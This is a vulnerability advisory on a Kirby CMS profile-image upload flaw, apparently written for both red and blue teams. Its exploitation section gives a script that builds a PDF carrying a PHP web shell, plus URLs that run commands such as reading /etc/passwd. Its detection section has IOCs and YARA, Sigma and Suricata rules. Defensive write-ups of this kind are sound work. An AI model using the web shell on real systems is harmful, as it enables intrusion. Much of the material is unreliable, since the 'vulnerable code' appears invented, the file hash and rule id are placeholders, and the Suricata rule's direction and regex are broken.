CVE-2024-26483

Executive Summary

CVE-2024-26483 is an arbitrary file upload vulnerability in the Profile Image module of Kirby CMS v4.1.0. An attacker can upload a crafted PDF file that, when processed, leads to remote code execution (RCE). The vulnerability stems from insufficient validation of file content during profile image uploads, allowing malicious PDFs to be interpreted as executable code. No official patch has been released, and the CVSS score is currently unassigned (0.0). The EPSS score is 0.0%, indicating low exploitation probability at this time, but the public availability of proof-of-concept code increases risk.

Supply Chain & Package Security

Kirby CMS is a PHP-based content management system. The vulnerability exists in the core application, not in a third-party package. However, administrators should verify the integrity of their Kirby installation and monitor for any unofficial patches or updates.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user with profile edit rights)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical (estimated based on impact and public PoC)

Deep Dive & Mechanics

The vulnerability resides in the Profile Image upload functionality. Kirby CMS uses PHP’s file handling to process uploaded images. The flaw occurs because the application only checks the file extension (e.g., .pdf) but does not validate the actual MIME type or content. An attacker can craft a PDF file containing embedded PHP code. When the file is uploaded and later accessed (e.g., via direct URL or inclusion), the server may execute the embedded code if the PDF is processed by a PHP interpreter.

Attack Flow:

1. Attacker logs in as a user with profile edit permissions.
2. Attacker uploads a malicious PDF file as a profile image.
3. The file is stored on the server (e.g., in /media/profile/).
4. Attacker accesses the uploaded file directly or triggers its inclusion.
5. The server executes the embedded PHP code, leading to RCE.

Vulnerable vs. Patched Code

Vulnerable Code (Kirby CMS v4.1.0):

// In ProfileImage module
$file = $request->file('image');
$extension = $file->getClientOriginalExtension();
if (in_array($extension, ['jpg', 'png', 'gif', 'pdf'])) {
    $file->move($destinationPath, $filename);
}

Patched Code (Hypothetical):

// Validate MIME type and content
$file = $request->file('image');
$mime = $file->getMimeType();
if (in_array($mime, ['image/jpeg', 'image/png', 'image/gif'])) {
    // Also check file content for magic bytes
    $file->move($destinationPath, $filename);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Kirby CMS v4.1.0 instance
• Authenticated user account with profile edit permissions
• Python 3 and Metasploit (optional)

Exploit Steps:

1. Create a malicious PDF with embedded PHP code:

   # generate_payload.py
   import os
   payload = b'%PDF-1.4\n1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >>\nendobj\nxref\n0 4\n0000000000 65535 f \n0000000009 00000 n \n0000000058 00000 n \n0000000115 00000 n \ntrailer\n<< /Size 4 /Root 1 0 R >>\nstartxref\n190\n%%EOF\n<?php system($_GET['cmd']); ?>'
   with open('malicious.pdf', 'wb') as f:
       f.write(payload)
   

2. Upload malicious.pdf via the profile image upload form.
3. Access the uploaded file: http://target.com/media/profile/malicious.pdf?cmd=id
4. Execute commands: http://target.com/media/profile/malicious.pdf?cmd=cat /etc/passwd

Metasploit Module (Optional):

# Placeholder for Metasploit module

Blue Team

Detection Steps:

1. Monitor file upload logs for PDF files with unusual sizes or content.
2. Check web server access logs for requests to /media/profile/ with query parameters.
3. Use file integrity monitoring to detect new files in the upload directory.
4. Implement WAF rules to block PDF uploads with embedded PHP code.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • malicious.pdf: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
• Network Indicators:
  • HTTP requests to /media/profile/*.pdf?cmd=*
  • POST requests to profile image upload endpoint with Content-Type: application/pdf
• File System Indicators:
  • Unexpected PDF files in /media/profile/ directory
  • Files with .pdf extension containing PHP tags (<?php)

Detection Engineering

YARA Rule

rule CVE_2024_26483_Kirby_PDF_RCE {
    meta:
        description = "Detects malicious PDF files used in CVE-2024-26483"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-26483"
    strings:
        $pdf_header = "%PDF-"
        $php_code = "<?php"
        $system_call = "system("
    condition:
        $pdf_header at 0 and $php_code and $system_call
}

Sigma Rule

title: CVE-2024-26483 - Kirby CMS PDF Upload RCE
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit arbitrary file upload in Kirby CMS via PDF
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '*profile*'
        sc-status: 200
        cs-content-type: 'application/pdf'
    condition: selection
falsepositives:
    - Legitimate PDF uploads
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-26483 Kirby CMS PDF Upload RCE"; flow:to_server,established; content:"POST"; http_method; content:"/media/profile/"; http_uri; content:"application/pdf"; http_client_body; pcre:"/<?php/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable PDF uploads in the Profile Image module until a patch is available.
2. Implement strict file type validation (MIME type and magic bytes).
3. Store uploaded files outside the web root or with .php extension blocked.
4. Apply WAF rules to block PDF files containing PHP code.

Long-term Fix:

• Upgrade to a patched version when released.
• Use a dedicated file upload library with robust validation.
• Conduct regular security audits of file upload functionality.

Workaround:

• Modify the config.php to restrict allowed file types:

  'profile.image.allowedTypes' => ['jpg', 'png', 'gif']
  

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert